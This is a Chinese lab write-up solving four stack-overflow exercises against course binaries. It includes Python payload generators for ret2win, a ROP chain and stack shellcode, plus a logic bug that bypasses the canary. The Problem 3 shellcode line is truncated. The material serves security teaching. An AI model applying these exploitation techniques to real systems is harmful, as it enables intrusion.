栈溢出攻击实验

题目解决思路

Problem 1:

- **分析**：func 对 rbp-0x8 的 8 字节缓冲区执行 strcpy，可覆盖返回地址；func1 地址为 0x401216，会输出目标字符串并 exit。
- **解决方案**：构造 16 字节填充 + func1 地址（小端）。

```
import struct
payload = b"A" * 16 + struct.pack("<Q", 0x401216)
with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- **结果**：./problem1 ans1.txt 输出：

```
Do you like ICS?
Yes!I like ICS!
```

Problem 2:

- **分析**：func 用 memcpy 固定复制 0x38 字节到 rbp-0x8，导致溢出；NX 开启，需 ROP。程序提供 pop rdi; ret (0x4012c7) 和 func2 (0x401216)，func2 需 rdi = 0x3f8。
- **解决方案**：填充 16 字节后构造 ROP 链，并补齐到 0x38 字节。

```
import struct
payload = (
    b"A" * 16
    + struct.pack("<Q", 0x4012c7)  # pop rdi; ret
    + struct.pack("<Q", 0x3f8)
    + struct.pack("<Q", 0x401216)  # func2
    + b"C" * 16
)
with open("ans2.txt", "wb") as f:
    f.write(payload)
```

- **结果**：./problem2 ans2.txt 输出：

```
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

Problem 3:

- **分析**：func 将输入 0x40 字节 memcpy 到 rbp-0x20(32 字节缓冲区),可覆盖返回地址。程序保存 rsp 到全局 saved_rsp，jmp_xs 通过 saved_rsp+0x10

跳回缓冲区起始地址，规避栈地址随机化；本题无 NX，可在栈上执行 shellcode。

- **解决方案**:在缓冲区写入 shellcode:`mov edi,0x72; mov rax,0x401216; call rax`，返回地址覆盖为 `jmp_xs (0x401334)`，总长度 0x40。

```
import struct
shellcode = b"\xbf\x72\x00\x00\x00" + b"\x48\xb8" + struct.pack("<Q", 0x401216) + b"\xf
payload = (
    shellcode
    + b"\x90" * (0x20 - len(shellcode))
    + b"B" * 8
    + struct.pack("<Q", 0x401334)  # jmp_xs
    + b"C" * 16
)
with open("ans3.txt", "wb") as f:
    f.write(payload)
```

- **结果**: `./problem3 ans3.txt` 输出:

```
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4:

- **分析**: `func` 中使用无符号比较：只有输入 `-1 (0xffffffff)` 或 `-2 (0xfffffffe)` 才能进入后续逻辑；当输入 `-1` 时，循环结束后满足 `x==1` 且原始值为 `-1`，触发 `func1` 输出通关提示。
Canary 保护：`func` 与 `func1` 入口处执行 `mov rax, fs:0x28; mov [rbp-0x8], rax` 保存 canary，返回前 `sub rax, fs:0x28; jne __stack_chk_fail` 校验，体现栈保护机制。

- **解决方案**: 直接输入三行：任意名字、任意回答、`-1` (程序不校验前两项)。

```
name
ics
-1
```

- **结果**: `./problem4 < ans4.txt` 输出:

```
hi please tell me what is your name?
hi! do you like ics?
if you give me enough yuanshi,I will let you pass!
your money is 4294967295
great!I will give you great scores
```

思考与总结

本次实验题目通过逐步增加保护（NX、ASLR、Canary）来引导选择合适的利用方式：从简单的 ret2win、ROP，到利用程序内置跳转辅助执行栈上代码，再到发现逻辑漏洞直接触发通关函数。

参考资料

无。